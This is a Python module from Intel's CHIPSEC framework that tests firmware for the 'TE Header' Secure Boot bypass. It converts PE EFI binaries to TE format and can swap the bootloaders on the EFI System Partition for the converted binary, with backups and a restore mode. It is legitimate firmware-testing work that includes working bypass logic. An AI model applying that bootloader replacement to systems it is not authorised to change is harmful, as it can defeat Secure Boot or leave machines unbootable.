#CHIPSEC: Platform Security Assessment Framework
#Copyright (c) 2010-2015, Intel Corporation
# 
#This program is free software; you can redistribute it and/or
#modify it under the terms of the GNU General Public License
#as published by the Free Software Foundation; Version 2.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program; if not, write to the Free Software
#Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
#
#Contact information:
#chipsec@intel.com
#



"""
Tool to test for 'TE Header' vulnerability in Secure Boot implementations as described in 
`All Your Boot Are Belong To Us <https://cansecwest.com/slides/2014/AllYourBoot_csw14-intel-final.pdf>`_

Usage:
  ``chipsec_main.py -m tools.secureboot.te [-a <mode>,<cfg_file>,<efi_file>]``
      - ``<mode>``

          * ``generate_te``		(default) convert PE EFI binary ``<efi_file>`` to TE binary
          * ``replace_bootloader``	replace bootloader files listed in ``<cfg_file>`` on ESP with modified ``<efi_file>``
          * ``restore_bootloader``	restore original bootloader files from ``.bak`` files

      - ``<cfg_file>``	path to config file listing paths to bootloader files to replace
      - ``<efi_file>``	path to EFI binary to convert to TE binary. If no file path is provided, the tool will look for Shell.efi

Examples:

Convert Shell.efi PE/COFF EFI executable to TE executable:

  ``chipsec_main.py -m tools.secureboot.te -a generate_te,Shell.efi``

Replace bootloaders listed in te.cfg file with TE version of Shell.efi executable:

  ``chipsec_main.py -m tools.secureboot.te -a replace_bootloader,te.cfg,Shell.efi``

Restore bootloaders listed in te.cfg file:

  ``chipsec_main.py -m tools.secureboot.te -a restore_bootloader,te.cfg``

"""

import os
import shutil
import struct

from chipsec.module_common import *

logger  = chipsec.logger.logger()

DEFAULT_PE_FILE_PATH     = "chipsec/modules/tools/secureboot/Shell.efi"
DEFAULT_CONFIG_FILE_PATH = 'chipsec/modules/tools/secureboot/te.cfg'

def dumpstr(s):
    for c in xrange(len(s)):
        print "%02X " % ord(s[c]),
        if ((c+1)%16 == 0):
            print ""
    print ""

#logger.VERBOSE = False

# typedef struct _IMAGE_DOS_HEADER
# {
#      WORD e_magic;
#      WORD e_cblp;
#      WORD e_cp;
#      WORD e_crlc;
#      WORD e_cparhdr;
#      WORD e_minalloc;
#      WORD e_maxalloc;
#      WORD e_ss;
#      WORD e_sp;
#      WORD e_csum;
#      WORD e_ip;
#      WORD e_cs;
#      WORD e_lfarlc;
#      WORD e_ovno;
#      WORD e_res[4];
#      WORD e_oemid;
#      WORD e_oeminfo;
#      WORD e_res2[10];
#      LONG e_lfanew;
# } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

IMAGE_DOS_HEADER = "<14H4HHH10Hi"
IMAGE_DOS_HEADER_size = struct.calcsize(IMAGE_DOS_HEADER)
E_MAGIC = 0x5A4D
E_MAGIC_STR = "MZ"

# typedef struct _IMAGE_DATA_DIRECTORY
# {
#      ULONG VirtualAddress;
#      ULONG Size;
# } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

IMAGE_DATA_DIRECTORY = "<II"
IMAGE_DATA_DIRECTORY_size = struct.calcsize(IMAGE_DATA_DIRECTORY)

IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

# typedef struct _IMAGE_OPTIONAL_HEADER
# {
#      WORD Magic;
#      UCHAR MajorLinkerVersion;
#      UCHAR MinorLinkerVersion;
#      ULONG SizeOfCode;
#      ULONG SizeOfInitializedData;
#      ULONG SizeOfUninitializedData;
#      ULONG AddressOfEntryPoint;
#      ULONG BaseOfCode;
#      ULONG BaseOfData;
#      ULONG ImageBase;
#      ULONG SectionAlignment;
#      ULONG FileAlignment;
#      WORD MajorOperatingSystemVersion;
#      WORD MinorOperatingSystemVersion;
#      WORD MajorImageVersion;
#      WORD MinorImageVersion;
#      WORD MajorSubsystemVersion;
#      WORD MinorSubsystemVersion;
#      ULONG Win32VersionValue;
#      ULONG SizeOfImage;
#      ULONG SizeOfHeaders;
#      ULONG CheckSum;
#      WORD Subsystem;
#      WORD DllCharacteristics;
#      ULONG SizeOfStackReserve;
#      ULONG SizeOfStackCommit;
#      ULONG SizeOfHeapReserve;
#      ULONG SizeOfHeapCommit;
#      ULONG LoaderFlags;
#      ULONG NumberOfRvaAndSizes;
#      IMAGE_DATA_DIRECTORY DataDirectory[16];
# } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

IMAGE_OPTIONAL_HEADER = "<HBB9I6H4I2H6I"
IMAGE_OPTIONAL_HEADER_size = struct.calcsize(IMAGE_OPTIONAL_HEADER)
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b

# typedef struct {
#   //
#   // Standard fields.
#   //
#   UINT16                    Magic;
#   UINT8                     MajorLinkerVersion;
#   UINT8                     MinorLinkerVersion;
#   UINT32                    SizeOfCode;
#   UINT32                    SizeOfInitializedData;
#   UINT32                    SizeOfUninitializedData;
#   UINT32                    AddressOfEntryPoint;
#   UINT32                    BaseOfCode;
#   //
#   // NT additional fields.
#   //
#   UINT64                    ImageBase;
#   UINT32                    SectionAlignment;
#   UINT32                    FileAlignment;
#   UINT16                    MajorOperatingSystemVersion;
#   UINT16                    MinorOperatingSystemVersion;
#   UINT16                    MajorImageVersion;
#   UINT16                    MinorImageVersion;
#   UINT16                    MajorSubsystemVersion;
#   UINT16                    MinorSubsystemVersion;
#   UINT32                    Win32VersionValue;
#   UINT32                    SizeOfImage;
#   UINT32                    SizeOfHeaders;
#   UINT32                    CheckSum;
#   UINT16                    Subsystem;
#   UINT16                    DllCharacteristics;
#   UINT64                    SizeOfStackReserve;
#   UINT64                    SizeOfStackCommit;
#   UINT64                    SizeOfHeapReserve;
#   UINT64                    SizeOfHeapCommit;
#   UINT32                    LoaderFlags;
#   UINT32                    NumberOfRvaAndSizes;
#   EFI_IMAGE_DATA_DIRECTORY  DataDirectory[EFI_IMAGE_NUMBER_OF_DIRECTORY_ENTRIES];
# } EFI_IMAGE_OPTIONAL_HEADER64;

IMAGE_OPTIONAL_HEADER64 = "<HBBIIIIIQIIHHHHHHIIIIHHQQQQII"
IMAGE_OPTIONAL_HEADER64_size = struct.calcsize(IMAGE_OPTIONAL_HEADER64)
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b

# typedef struct _IMAGE_FILE_HEADER
# {
#      WORD Machine;
#      WORD NumberOfSections;
#      ULONG TimeDateStamp;
#      ULONG PointerToSymbolTable;
#      ULONG NumberOfSymbols;
#      WORD SizeOfOptionalHeader;
#      WORD Characteristics;
# } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

IMAGE_FILE_HEADER = "<2H3I2H"
IMAGE_FILE_HEADER_size = struct.calcsize(IMAGE_FILE_HEADER)

# typedef struct _IMAGE_NT_HEADERS
# {
#      ULONG Signature;
#      IMAGE_FILE_HEADER FileHeader;
#      IMAGE_OPTIONAL_HEADER OptionalHeader;
# } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

IMAGE_NT_SIGNATURE = 0x00004550
IMAGE_NT_HEADERS_size = (4 + IMAGE_FILE_HEADER_size + IMAGE_OPTIONAL_HEADER_size + IMAGE_NUMBEROF_DIRECTORY_ENTRIES * IMAGE_DATA_DIRECTORY_size)

# typedef struct _IMAGE_SECTION_HEADER
# {
#      UCHAR Name[8];
#      ULONG Misc;
#      ULONG VirtualAddress;
#      ULONG SizeOfRawData;
#      ULONG PointerToRawData;
#      ULONG PointerToRelocations;
#      ULONG PointerToLinenumbers;
#      WORD NumberOfRelocations;
#      WORD NumberOfLinenumbers;
#      ULONG Characteristics;
# } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

IMAGE_SECTION_HEADER = "<8s6I2HI"
IMAGE_SECTION_HEADER_size = struct.calcsize(IMAGE_SECTION_HEADER)

# PE executable structure
# 
#   MS-DOS header
#     ...
#     e_lfanew -------------------+
#                                 |
#                                 |
#   IMAGE_NT_HEADERS Header  <----+
#    ...
#   SECTION TABLE
#    ...
# TE header
# 
# typedef struct {
#   UINT16                    Signature;            // signature for TE format = "VZ"
#   UINT16                    Machine;              // from the original file header
#   UINT8                     NumberOfSections;     // from the original file header
#   UINT8                     Subsystem;            // from original optional header
#   UINT16                    StrippedSize;         // how many bytes we removed from the header
#   UINT32                    AddressOfEntryPoint;  // offset to entry point -- from original optional header
#   UINT32                    BaseOfCode;           // from original image -- required for ITP debug
#   UINT64                    ImageBase;            // from original file header
#   IMAGE_DATA_DIRECTORY      DataDirectory[2];     // only base relocation and debug directory
# } EFI_TE_IMAGE_HEADER;

EFI_TE_IMAGE_HEADER = "<HHBBHIIQ"
EFI_TE_IMAGE_HEADER_SIGNATURE = 0x5A56

EFI_IMAGE_DIRECTORY_ENTRY_EXPORT      = 0
EFI_IMAGE_DIRECTORY_ENTRY_IMPORT      = 1
EFI_IMAGE_DIRECTORY_ENTRY_RESOURCE    = 2
EFI_IMAGE_DIRECTORY_ENTRY_EXCEPTION   = 3
EFI_IMAGE_DIRECTORY_ENTRY_SECURITY    = 4
EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC   = 5
EFI_IMAGE_DIRECTORY_ENTRY_DEBUG       = 6
EFI_IMAGE_DIRECTORY_ENTRY_COPYRIGHT   = 7
EFI_IMAGE_DIRECTORY_ENTRY_GLOBALPTR   = 8
EFI_IMAGE_DIRECTORY_ENTRY_TLS         = 9
EFI_IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG =10

EFI_TE_IMAGE_DIRECTORY_ENTRY_BASERELOC = 0
EFI_TE_IMAGE_DIRECTORY_ENTRY_DEBUG     = 1


def IsValidPEHeader(data):
    size = len(data)
    if size < IMAGE_DOS_HEADER_size:
        #print "size < IMAGE_DOS_HEADER_size"
        return False
    signature, = struct.unpack("<H", data[:2])
    if (signature != E_MAGIC):
        #print "signature != E_MAGIC, 0x%04X != 0x%04X" % (E_MAGIC)
        return False
    e_lfanew, = struct.unpack("<I", data[IMAGE_DOS_HEADER_size - 4:IMAGE_DOS_HEADER_size])
    if (e_lfanew >= size):
        #print "e_lfanew >= size"
        return False
    if ((size - e_lfanew) < IMAGE_NT_HEADERS_size):
        #print "(size - e_lfanew) < IMAGE_NT_HEADERS_size"
        return False
    pe_signature, = struct.unpack("<I", data[e_lfanew:e_lfanew+4])
    if (pe_signature != IMAGE_NT_SIGNATURE):
        #print "pe_signature != IMAGE_NT_SIGNATURE"
        return False
    return True

def replace_header(data):
    if (not IsValidPEHeader(data)):
        return None
    size = len(data)
    e_lfanew, = struct.unpack("<I", data[IMAGE_DOS_HEADER_size - 4:IMAGE_DOS_HEADER_size])
    #                          TimeDateStamp, PointerToSymbolTable, NumberOfSymbols, SizeOfOptionalHeader, Characteristics
    Machine, NumberOfSections, u1, u2, u3, SizeOfOptionalHeader, u5 \
     = struct.unpack(IMAGE_FILE_HEADER, data[e_lfanew+4:e_lfanew+4+IMAGE_FILE_HEADER_size])
    StrippedSize = e_lfanew + 4 + IMAGE_FILE_HEADER_size + SizeOfOptionalHeader;
    if (StrippedSize > size):
        #print " *** strip more bytes than the file size"
        return None
    if (StrippedSize & ~0xffff):
        #print " *** strip more than 64K bytes"
        return None
    dof = e_lfanew+4+IMAGE_FILE_HEADER_size
    Magic, = struct.unpack("<H", data[dof:dof+2])
    if   (Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC):
        Magic, MajorLinkerVersion, MinorLinkerVersion, SizeOfCode, SizeOfInitializedData, \
        SizeOfUninitializedData, AddressOfEntryPoint, BaseOfCode, BaseOfData, ImageBase,  \
        SectionAlignment, FileAlignment, MajorOperatingSystemVersion, MinorOperatingSystemVersion, \
        MajorImageVersion, MinorImageVersion, MajorSubsystemVersion, MinorSubsystemVersion, \
        Win32VersionValue, SizeOfImage, SizeOfHeaders, CheckSum, Subsystem, DllCharacteristics, \
        SizeOfStackReserve, SizeOfStackCommit, SizeOfHeapReserve, SizeOfHeapCommit, LoaderFlags, \
        NumberOfRvaAndSizes = struct.unpack(IMAGE_OPTIONAL_HEADER, data[dof:dof+IMAGE_OPTIONAL_HEADER_size])
        dof = dof + IMAGE_OPTIONAL_HEADER_size
    elif (Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC):
        Magic, MajorLinkerVersion, MinorLinkerVersion, SizeOfCode, SizeOfInitializedData, \
        SizeOfUninitializedData, AddressOfEntryPoint, BaseOfCode, ImageBase, SectionAlignment, \
        FileAlignment, MajorOperatingSystemVersion, MinorOperatingSystemVersion, MajorImageVersion, \
        MinorImageVersion, MajorSubsystemVersion, MinorSubsystemVersion, Win32VersionValue, \
        SizeOfImage, SizeOfHeaders, CheckSum, Subsystem, DllCharacteristics, SizeOfStackReserve, \
        SizeOfStackCommit, SizeOfHeapReserve, SizeOfHeapCommit, LoaderFlags, NumberOfRvaAndSizes \
         = struct.unpack(IMAGE_OPTIONAL_HEADER64, data[dof:dof+IMAGE_OPTIONAL_HEADER64_size])
        dof = dof + IMAGE_OPTIONAL_HEADER64_size
    else:
        #print " *** Unsupported magic: %X" % Magic
        return None
    if (NumberOfSections &~0xFF):
        #print " *** NumberOfSections cannot be packed: %X" % NumberOfSections
        return None
    if (Subsystem &~0xFF):
        #print " *** Subsystem cannot be packed: %X" % NumberOfSections
        return None

    basereloc_off = dof + EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC*IMAGE_DATA_DIRECTORY_size
    debug_off = dof + EFI_IMAGE_DIRECTORY_ENTRY_DEBUG*IMAGE_DATA_DIRECTORY_size
    BASERELOC = "\x00\x00\x00\x00\x00\x00\x00\x00"
    DEBUG     = "\x00\x00\x00\x00\x00\x00\x00\x00"
    if (NumberOfRvaAndSizes > EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC):
        BASERELOC = data[basereloc_off:basereloc_off+IMAGE_DATA_DIRECTORY_size]
    if (NumberOfRvaAndSizes > EFI_IMAGE_DIRECTORY_ENTRY_DEBUG):
        DEBUG = data[debug_off:debug_off+IMAGE_DATA_DIRECTORY_size]
    te_header = struct.pack(EFI_TE_IMAGE_HEADER,\
      EFI_TE_IMAGE_HEADER_SIGNATURE, Machine, NumberOfSections, Subsystem, StrippedSize, AddressOfEntryPoint, BaseOfCode, ImageBase)
    te_data = te_header + BASERELOC + DEBUG + data[StrippedSize:]
    return te_data

def produce_te(fname, outfname):
    data = ''
    with open(fname, 'rb') as f:
        data = f.read()
    te_data = replace_header(data)
    if (te_data == None):
        return 0
    with open(outfname, 'wb') as fte:
        fte.write(te_data)
    return 1

def replace_efi_binary(orig_efi_binary, new_efi_binary):
    logger.log( "[*] replacing EFI binary '%s'.." % orig_efi_binary )
    te_binary = new_efi_binary + '.te'
    if not os.path.exists(te_binary): produce_te(new_efi_binary, te_binary)
    # back up original binary
    backup = orig_efi_binary + '.bak'
    if not os.path.exists(backup): os.rename(orig_efi_binary, backup)
    try:
        shutil.copy(te_binary, orig_efi_binary)
    except OSError, err:
        logger.error( 'Cannot replace binary (%s)' % err )
        return False
    return True

def umount(drive):
    import subprocess
    if os.path.exists(drive):
        res = subprocess.call( ["mountvol.exe", drive, "/D"] )
        if res != 0: logger.warn( "Cannot unmount EFI System partition: %d" % res )

def get_efi_mount():
    import subprocess
    for l in xrange(ord('z'), ord('a'), -1):
        if not os.path.exists('%c:\\' % l):
            res = subprocess.call( ["mountvol.exe", "%c:\\" % l, "/S"] )
            if res != 0:
                logger.error( "Cannot mount EFI System partition (status = %d)" % res )
                return None
            return '%c:\\' % l
    logger.error( "Cannot mount EFI System partition. No drive letters to use." )
    return None

def get_bootloader_paths( cfg_file ):
    bootloader_paths = []
    fcfg = open( cfg_file, 'r' )
    logger.log( "[*] reading paths from '%s'.." % cfg_file )
    for line in fcfg:
        bl_path = line.rstrip()
        if bl_path is not None: 
            logger.log( "    adding path '%s'.." % bl_path )
            bootloader_paths.append( bl_path )
    return bootloader_paths

def replace_bootloader( bootloader_paths, new_bootloader_file, do_mount=True ):
    logger.log( "[*] Replacing bootloaders on EFI System Partition (ESP).." )
    dsk = get_efi_mount() if do_mount else ''
    if dsk is None: return False
    for pth in bootloader_paths:
        bootloader_path = os.path.join(dsk,pth)
        if os.path.exists(bootloader_path): replace_efi_binary( bootloader_path, new_bootloader_file )
    if do_mount: umount( dsk )
    logger.log( "[*] You will need to reboot the system to see the changes" )
    return True

def restore_efi_binary( orig_efi_binary ):
    logger.log( "[*] Restoring %s.." % orig_efi_binary )
    backup = orig_efi_binary + ".bak"
    if not os.path.exists(backup):
        logger.error( "Cannot restore original binary: '%s' not found" % backup )
        return False
    try:
        if os.path.exists(orig_efi_binary): os.remove(orig_efi_binary)
        os.rename(backup, orig_efi_binary)
    except OSError, err:
        logger.error( 'Cannot restore original binary (%s)' % err )
        return False
    return True

def restore_bootloader( bootloader_paths, do_mount=True ):
    logger.log( "[*] Restoring bootloaders on EFI System Partition (ESP).." )
    dsk = get_efi_mount() if do_mount else ''
    if dsk is None: return False
    for pth in bootloader_paths:
        bootloader_path = os.path.join(dsk,pth)
        if os.path.exists(bootloader_path): restore_efi_binary( bootloader_path )
    if do_mount: umount( dsk )
    logger.log( "[*] You will need to reboot the system to see the changes" )
    return True

def confirm():
    logger.warn("***************************************************************************************")
    logger.warn("*")
    logger.warn("* RUNNING THIS TOOL MAY RESULT IN UNBOOTABLE OS!")
    logger.warn("* USE IT FOR TESTING PURPOSES ON TEST SYSTEMS ONLY")
    logger.warn("*")
    logger.warn("* The tool converts PE/COFF EFI executables to TE EFI executables.")
    logger.warn("* The tool can also automatically replace files (boot loaders)")
    logger.warn("* listed in the configuration file with the generated TE executable.")
    logger.warn("*")
    logger.warn("* If after reboot, TE executable runs then the firmware doesn't properly")
    logger.warn("* enforce Secure Boot checks on TE EFI executables")
    logger.warn("*")
    logger.warn("* If TE executable doesn't run then the firmware correctly blocked it.")
    logger.warn("* To restore OS boot loader in this case you may use one of the following:")
    logger.warn("* - Disable Secure Boot in BIOS, boot to external drive (e.g. Linux or UEFI shell)")
    logger.warn("*   then restore original boot loader executables from .bak files")
    logger.warn("* - On Windows, use recovery mode which should automatically restore correct executables")
    logger.warn("*")
    logger.warn("***************************************************************************************")
    s = raw_input( "Type 'yes' to continue running the tool > " )
    if s != 'yes': sys.exit( 0 )

def usage():
    logger.log( 'Usage:\n' +       \
                  'chipsec_main.py -m tools.secureboot.te [-a <mode>,<cfg_file>,<efi_file>]\n' + \
                  '    <mode>\n' + \
                  '      generate_te        - (default) convert PE EFI binary <efi_file> to TE binary\n' + \
                  '      replace_bootloader - replace bootloader files listed in <cfg_file> on ESP with modified <efi_file>\n' + \
                  '      restore_bootloader - restore original bootloader files from .bak files\n' + \
                  '    <cfg_file>           - path to config file listing paths to bootloader files to replace\n' + \
                  '    <efi_file>           - path to EFI binary to convert to TE binary\n' + \
                  '                           If no file path is provided, the tool will look for Shell.efi\n' )

class te(BaseModule):

    def __init__(self):
        BaseModule.__init__(self)
        
    def is_supported(self):
        #win8 = self.cs.helper.is_win8_or_greater()
        efi_mode = self.cs.helper.EFI_supported()
        if not efi_mode: self.logger.log_skipped_check( "OS did not boot in UEFI mode" )
        return efi_mode

    def run( self, module_argv ):
        self.logger.start_test( "'TE Header' Secure Boot Bypass Test" )
        usage()

        sts       = False
        do_mount  = True
        file_path = DEFAULT_PE_FILE_PATH
        te_cfg    = DEFAULT_CONFIG_FILE_PATH
        mode      = module_argv[0] if len(module_argv) > 0 else 'generate_te'

        if 'generate_te' == mode:
            if len(module_argv) > 1: file_path = module_argv[1]
            if not os.path.exists( file_path ):
                self.logger.error( "Cannot find file '%s'" % file_path )
                return ModuleResult.ERROR

            sts = replace_efi_binary( file_path, file_path )

        elif 'restore_bootloader' == mode or 'replace_bootloader' == mode:
            confirm()

            if len(module_argv) > 1: te_cfg    = module_argv[1]
            if not os.path.exists( te_cfg ):
                self.logger.error( "Cannot find file '%s'" % te_cfg )
                return ModuleResult.ERROR

            bootloader_paths = get_bootloader_paths( te_cfg )
            if 0 == len(bootloader_paths):
                self.logger.log( "[*] no bootloaders to replace. Exit.." )
                return ModuleResult.SKIPPED

            do_mount = self.cs.helper.is_windows() # @TODO
            if   'restore_bootloader' == mode:
                sts = restore_bootloader( bootloader_paths, do_mount )
            elif 'replace_bootloader' == mode:
                if len(module_argv) > 2: file_path = module_argv[2]
                sts = replace_bootloader( bootloader_paths, file_path, do_mount )

        else:
            self.logger.error( "Invalid mode: '%s'" % mode )

        return (ModuleResult.PASSED if sts else ModuleResult.ERROR)
